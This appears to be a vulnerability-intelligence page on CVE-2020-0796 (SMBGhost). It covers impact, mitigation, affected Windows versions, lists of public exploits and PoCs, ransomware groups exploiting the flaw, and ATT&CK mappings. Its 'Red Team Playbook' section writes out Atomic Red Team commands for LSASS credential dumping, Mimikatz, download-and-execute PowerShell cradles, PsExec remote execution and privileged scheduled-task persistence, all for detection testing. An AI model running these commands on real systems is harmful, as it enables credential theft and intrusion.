CVE-2020-0796

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 12/03 Upd 01/10

Overview

This vulnerability is a heap-based buffer overflow in the Microsoft Server Message Block version 3.1.1 (SMBv3) protocol implementation. It arises from improper handling of specially crafted compressed data packets during SMBv3 compression processing. The affected component is the SMBv3 client and server in Microsoft Windows 10 Version 1903 and related versions, where the parsing logic fails to correctly validate input lengths, leading to memory corruption.

Vulnerability Description

A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.

Impact

An unauthenticated attacker with network access to the SMBv3 service can execute arbitrary code remotely on affected Windows 10 systems. This enables full system compromise, including the ability to install programs, view, change, or delete data, and create new accounts with full user rights. The vulnerability requires no user interaction or valid credentials, allowing attackers to propagate malware or perform lateral movement within enterprise networks, potentially leading to widespread disruption and data breaches.

Solution

Microsoft has released security updates addressing this vulnerability in the Microsoft Security Advisory available at https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796. The patches apply to Windows 10 Version 1903 and 1909 for all affected architectures. Administrators should deploy the provided security updates immediately. As a temporary mitigation, disabling SMBv3 compression via registry settings is recommended until patches are applied, as detailed in the Microsoft advisory.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (8)

Vendor Product Version CPE
microsoft Microsoft Windows 10 1903 N/A cpe:2.3:o:microsoft:windows_10_1903:-:*:*:*:*:*:arm64:*
microsoft Microsoft Windows 10 1903 N/A cpe:2.3:o:microsoft:windows_10_1903:-:*:*:*:*:*:x64:*
microsoft Microsoft Windows 10 1903 N/A cpe:2.3:o:microsoft:windows_10_1903:-:*:*:*:*:*:x86:*
microsoft Microsoft Windows 10 1909 N/A cpe:2.3:o:microsoft:windows_10_1909:-:*:*:*:*:*:arm64:*
microsoft Microsoft Windows 10 1909 N/A cpe:2.3:o:microsoft:windows_10_1909:-:*:*:*:*:*:x64:*
microsoft Microsoft Windows 10 1909 N/A cpe:2.3:o:microsoft:windows_10_1909:-:*:*:*:*:*:x86:*
microsoft Microsoft Windows Server 1903 N/A cpe:2.3:o:microsoft:windows_server_1903:-:*:*:*:*:*:x64:*
microsoft Microsoft Windows Server 1909 N/A cpe:2.3:o:microsoft:windows_server_1909:-:*:*:*:*:*:x64:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (2)

Module Authors Rank Platform Link
SMBv3 Compression Buffer Overflow
exploits/windows/smb/cve_2020_0796_smbghost
hugeh0ge, chompie1337, Spencer McIntyre Unknown - View
SMBv3 Compression Buffer Overflow
exploits/windows/local/cve_2020_0796_smbghost
Daniel García Gutiérrez, Manuel Blanco Parajón, Spencer McIntyre Unknown - View

ExploitDB (3)

Title Author Type Platform Date Link
Microsoft Windows - 'SMBGhost' Remote Code Execution chompie1337 remote windows - View
Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Local Privilege Escalation Daniel García Gutiérrez local windows - View
Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Buffer Overflow (PoC) eerykitty dos windows - View

GitHub PoCs (91)

Repository Author Stars Forks Date Link
danigargu/CVE-2020-0796
CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost
danigargu 1359 338 2020-03-30 View
ly4k/SMBGhost
Scanner for CVE-2020-0796 - SMBv3 RCE
ly4k 722 186 2020-03-11 View
jamf/CVE-2020-0796-RCE-POC
CVE-2020-0796 Remote Code Execution POC
jamf 571 169 2020-04-20 View
eerykitty/CVE-2020-0796-PoC
PoC for triggering buffer overflow via CVE-2020-0796
eerykitty 331 118 2020-03-12 View
Barriuso/SMBGhost_AutomateExploitation
SMBGhost (CVE-2020-0796) Automate Exploitation and Detection
Barriuso 359 49 2020-06-10 View
jamf/CVE-2020-0796-LPE-POC
CVE-2020-0796 Local Privilege Escalation POC
jamf 244 85 2020-03-30 View
Rvn0xsy/CVE_2020_0796_CNA
Cobalt Strike AggressorScripts CVE-2020-0796
Rvn0xsy 74 17 2020-04-06 View
jiansiting/CVE-2020-0796
jiansiting 65 23 2020-04-01 View
rsmudge/CVE-2020-0796-BOF
rsmudge 70 18 2020-09-17 View
ioncodes/SMBGhost
Scanner for CVE-2020-0796 - A SMBv3.1.1 + SMB compression RCE
ioncodes 57 16 2020-03-12 View
k8gege/PyLadon
Ladon Scanner For Python, Large Network Penetration Scanner & Cobalt Strike, vulnerability / exploit / detection / MS170...
k8gege 53 19 2019-11-19 View
jamf/SMBGhost-SMBleed-scanner
SMBGhost (CVE-2020-0796) and SMBleed (CVE-2020-1206) Scanner
jamf 44 15 2020-07-06 View
eastmountyxz/CVE-2020-0796-SMB
该资源为CVE-2020-0796漏洞复现,包括Python版本和C++版本。主要是集合了github大神们的资源,希望您喜欢~
eastmountyxz 33 18 2020-04-02 View
T13nn3s/CVE-2020-0796
Powershell SMBv3 Compression checker
T13nn3s 28 13 2020-03-11 View
ButrintKomoni/cve-2020-0796
Identifying and Mitigating the CVE-2020–0796 flaw in the fly
ButrintKomoni 17 16 2020-03-11 View
maxpl0it/Unauthenticated-CVE-2020-0796-PoC
An unauthenticated PoC for CVE-2020-0796
maxpl0it 22 8 2020-03-15 View
thelostworldFree/CVE-2020-0796
PoC RCE Reverse Shell for CVE-2020-0796 (SMBGhost)
thelostworldFree 11 18 2020-04-22 View
gabimarti/SMBScanner
Multithread SMB scanner to check CVE-2020-0796 for SMB v3.11
gabimarti 19 8 2020-03-12 View
GuoKerS/aioScan_CVE-2020-0796
基于asyncio(协程)的CVE-2020-0796 速度还是十分可观的,方便运维师傅们对内网做下快速检测。
GuoKerS 15 11 2020-03-14 View
Almorabea/SMBGhost-LPE-Metasploit-Module
This is an implementation of the CVE-2020-0796 aka SMBGhost vulnerability, compatible with the Metasploit Framework
Almorabea 20 5 2020-06-19 View
f1tz/CVE-2020-0796-LPE-EXP
Windows SMBv3 LPE exploit 已编译版
f1tz 17 7 2020-03-31 View
dickens88/cve-2020-0796-scanner
This project is used for scanning cve-2020-0796 SMB vulnerability
dickens88 14 10 2020-03-12 View
0x25bit/CVE-2020-0796-PoC
Weaponized PoC for SMBv3 TCP codec/compression vulnerability
0x25bit 18 4 2020-03-10 View
joaozietolie/CVE-2020-0796-Checker
Script that checks if the system is vulnerable to CVE-2020-0796 (SMB v3.1.1)
joaozietolie 14 7 2020-03-11 View
w1ld3r/SMBGhost_Scanner
Advanced scanner for CVE-2020-0796 - SMBv3 RCE
w1ld3r 14 1 2020-03-14 View
jiansiting/CVE-2020-0796-Scanner
CVE-2020-0796-Scanner
jiansiting 9 4 2020-03-15 View
0xeb-bp/cve-2020-0796
CVE-2020-0796 (SMBGhost) LPE
0xeb-bp 7 6 2020-04-07 View
technion/DisableSMBCompression
CVE-2020-0796 Flaw Mitigation - Active Directory Administrative Templates
technion 9 2 2020-03-11 View
dungnm24/CVE-2020-0796
WindowsProtocolTestSuites is to trigger BSoD, and full exploit poc.
dungnm24 6 4 2023-05-29 View
wneessen/SMBCompScan
Scanner script to identify hosts vulnerable to CVE-2020-0796
wneessen 4 3 2020-03-12 View
vysecurity/CVE-2020-0796
CVE-2020-0796 - Working PoC - 20200313
vysecurity 5 2 2020-03-13 View
orangmuda/CVE-2020-0796
Remote Code Execution POC for CVE-2020-0796
orangmuda 5 1 2021-10-09 View
tango-j/CVE-2020-0796
Coronablue exploit
tango-j 4 2 2020-03-31 View
sujitawake/smbghost
CVE-2020-0796_CoronaBlue_SMBGhost
sujitawake 3 2 2020-03-16 View
codewithpradhan/SMBGhost-CVE-2020-0796-
To crash Windows-10 easily
codewithpradhan 3 2 2020-09-28 View
julixsalas/CVE-2020-0796
Scanner for CVE-2020-0796
julixsalas 1 4 2020-03-16 View
TinToSer/CVE-2020-0796-LPE
SMBGHOST local privilege escalation
TinToSer 2 2 2020-03-31 View
exp-sky/CVE-2020-0796
SMBv3 Ghost (CVE-2020-0796) Vulnerability
exp-sky 3 0 2020-06-09 View
laolisafe/CVE-2020-0796
SMBv3 RCE vulnerability in SMBv3
laolisafe 2 1 2020-03-12 View
awareseven/eternalghosttest
This repository contains a test case for CVE-2020-0796
awareseven 1 2 2020-03-12 View
netscylla/SMBGhost
SMBGhost (CVE-2020-0796) threaded scanner
netscylla 1 2 2020-03-12 View
ran-sama/CVE-2020-0796
Lightweight PoC and Scanner for CVE-2020-0796 without authentication.
ran-sama 1 2 2020-03-16 View
cory-zajicek/CVE-2020-0796-DoS
DoS PoC for CVE-2020-0796 (SMBGhost)
cory-zajicek 1 2 2020-03-21 View
LabDookhtegan/CVE-2020-0796-EXP
CVE-2020-0796-EXP
LabDookhtegan 1 2 2020-04-02 View
MasterSploit/LPE---CVE-2020-0796
MasterSploit 2 0 2020-11-20 View
Anonimo501/SMBGhost_CVE-2020-0796_checker
Anonimo501 2 0 2021-09-04 View
DannyRavi/nmap-scripts
nmap scripts for vuln cve-2020-0796 & cve-2019-7238 & cve2019-11580 & cve2017-6327
DannyRavi 2 0 2025-04-20 View
BinaryShadow94/SMBv3.1.1-scan---CVE-2020-0796
Little scanner to know if a machine is runnig SMBv3 (possible vulnerability CVE-2020-0796)
BinaryShadow94 1 1 2020-03-13 View
OldDream666/cve-2020-0796
cve-2020-0796利用工具集
OldDream666 1 1 2023-02-28 View
Jagadeesh7532/-CVE-2020-0796-SMBGhost-Windows-10-SMBv3-Remote-Code-Execution-Vulnerability
CVE-2020-0796 (SMBGhost) is a critical RCE vulnerability in Windows 10 SMBv3 protocol. It allows attackers to execute co...
Jagadeesh7532 2 0 2025-09-21 View
UraSecTeam/smbee
Check system is vulnerable CVE-2020-0796 (SMB v3)
UraSecTeam 0 2 2020-03-12 View
Dhoomralochana/Scanners-for-CVE-2020-0796-Testing
Scanners List - Microsoft Windows SMBv3 Remote Code Execution Vulnerability (CVE-2020-0796)
Dhoomralochana 1 1 2020-03-12 View
xax007/CVE-2020-0796-Scanner
CVE-2020-0796 SMBv3.1.1 Compression Capability Vulnerability Scanner
xax007 0 2 2020-03-12 View
datntsec/CVE-2020-0796
datntsec 1 0 2020-11-10 View
arzuozkan/CVE-2020-0796
CVE-2020-0796 explanation and researching vulnerability for term porject CENG325
arzuozkan 1 0 2022-06-07 View
AdamSonov/smbGhostCVE-2020-0796
This script will help you to scan for smbGhost vulnerability(CVE-2020-0796)
AdamSonov 1 0 2024-03-04 View
bsec404/CVE-2020-0796
bsec404 1 0 2025-01-29 View
cybermads/CVE-2020-0796
cybermads 1 0 2025-04-19 View
kn6869610/CVE-2020-0796
kn6869610 0 1 2020-03-12 View
wsfengfan/CVE-2020-0796
CVE-2020-0796 Python POC buffer overflow
wsfengfan 0 1 2020-03-14 View
intelliroot-tech/cve-2020-0796-Scanner
This tool helps scan large subnets for cve-2020-0796 vulnerable systems
intelliroot-tech 0 1 2020-04-14 View
bacth0san96/SMBGhostScanner
SMBGhost CVE-2020-0796
bacth0san96 0 1 2020-05-12 View
1stPeak/CVE-2020-0796-Scanner
1stPeak 1 0 2021-07-14 View
F6JO/CVE-2020-0796-Batch-scanning
批量扫描CVE-2020-0796
F6JO 1 0 2021-10-28 View
SEHandler/CVE-2020-0796
CVE-2020-0796
SEHandler 1 0 2022-11-09 View
Almorabea/SMBGhost-WorkaroundApplier
This script will apply the workaround for the vulnerability CVE-2020-0796 for the SMBv3 unauthenticated RCE
Almorabea 0 1 2020-03-12 View
p4ncontomat3/smbghost
scanner for CVE-2020-0796
p4ncontomat3 0 0 2026-06-26 View
average-joe44/CVE-2020-0796-Forked-PoC
average-joe44 0 0 2026-04-23 View
average-joe44/CVE-2020-0796-Forked-
average-joe44 0 0 2026-04-23 View
ysyyrps123/CVE-2020-0796
CVE-2020-0796
ysyyrps123 0 0 2020-06-02 View
tripledd/cve-2020-0796-vuln
tripledd 0 0 2020-03-30 View
halsten/CVE-2020-0796
halsten 0 0 2020-05-28 View
Opensitoo/cve-2020-0796
Opensitoo 0 0 2021-10-04 View
lisinan988/CVE-2020-0796-exp
lisinan988 0 0 2021-11-25 View
hungdnvp/POC-CVE-2020-0796
hungdnvp 0 0 2024-02-23 View
ysyyrps123/CVE-2020-0796-exp
CVE-2020-0796-exp
ysyyrps123 0 0 2020-06-02 View
1060275195/SMBGhost
批量测试CVE-2020-0796 - SMBv3 RCE
1060275195 0 0 2020-06-11 View
AaronCaiii/CVE-2020-0796-POC
CVE-2020-0796-POC
AaronCaiii 0 0 2020-11-06 View
Murasame-nc/CVE-2020-0796-LPE-POC
Murasame-nc 0 0 2021-10-09 View
vsai94/ECE9069_SMBGhost_Exploit_CVE-2020-0796-
Description of Exploit SMBGhost CVE-2020-0796
vsai94 0 0 2022-03-28 View
tdevworks/CVE-2020-0796-SMBGhost-Exploit-Demo
tdevworks 0 0 2025-05-17 View
maqeel-git/CVE-2020-0796
maqeel-git 0 0 2025-06-14 View
z3ena/Exploiting-and-Mitigating-CVE-2020-0796-SMBGhost-and-Print-Spooler-Vulnerabilities
This repository contains detailed documentation and code related to the exploitation, detection, and mitigation of two s...
z3ena 0 0 2024-08-12 View
monjheta/CVE-2020-0796
monjheta 0 0 2025-02-26 View
krizzz07/CVE-2020-0796
windows 10 SMB vulnerability
krizzz07 0 0 2023-01-29 View
esmwaSpyware/DoS-PoC-for-CVE-2020-0796-SMBGhost-
esmwaSpyware 0 0 2025-08-06 View
nyambiblaise/Microsoft-Windows-SMBGhost-Vulnerability-Checker---CVE-2020-0796---SMBv3-RCE
nyambiblaise 0 0 2025-12-30 View
Justjeff211/conti-ransomware-writeup
Conducted a full SOC investigation into a Conti ransomware compromise of an Exchange server using Splunk 8.2.2. Analysed...
Justjeff211 0 0 2026-03-27 View
thai1012/cve-2020-0796
thai1012 0 0 2026-02-04 View
TweatherQ/CVE-2020-0796
CVE-2020-0796-利用工具
TweatherQ 0 0 2022-12-15 View
section-c/CVE-2020-0796
section-c 0 0 2020-04-22 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest VERY HIGH
Sightings Considerable activity

Threat Feed

56 events
2026-09-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-16
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-15
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by bianlian

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)

2026-04-05
Exploited by bianlian

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)

2026-04-05
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-04-05
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-04-05
Exploited by bian lian

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by bian lian

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Vice Society

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Vice Society

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Dragonfly

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Dragonfly

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by MuddyWater

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by MuddyWater

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Magic Hound

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Magic Hound

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by FIN7

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by FIN7

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Iranian IRGC Data Extortion Operations

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Iranian IRGC Data Extortion Operations

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by FIN12

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by FIN12

Ransomware group known to exploit this vulnerability

2022-02-10
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2020-03-13
Exploit Published (3 ExploitDB, 2 Metasploit)

Public exploit code is available for this vulnerability

2019-11-19
PoC Published (91 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Detected as Exploited in the Wild (70 sightings)

Active exploitation confirmed with 70 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
100% rce
Buffer Overflow
100% buffer_overflow
Code Injection
78% code_injection
OS Command Injection
59% command_injection
Improper Input Validation
57% input_validation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005 Scheduled Task Kill Chain execution, persistence, privilege-escalation Windows
T1059.001 PowerShell Kill Chain execution Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-44 Overflow Binary Resource File
76%
High Very High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
43%
High High
CAPEC-14 Client-side Injection-induced Buffer Overflow
43%
Medium High
CAPEC-123 Buffer Manipulation
33%
High Very High
CAPEC-8 Buffer Overflow in an API Call
33%
High High

Red Team Playbook

78 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa 
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD)
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell)
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD)
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell)
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell)
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD)
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
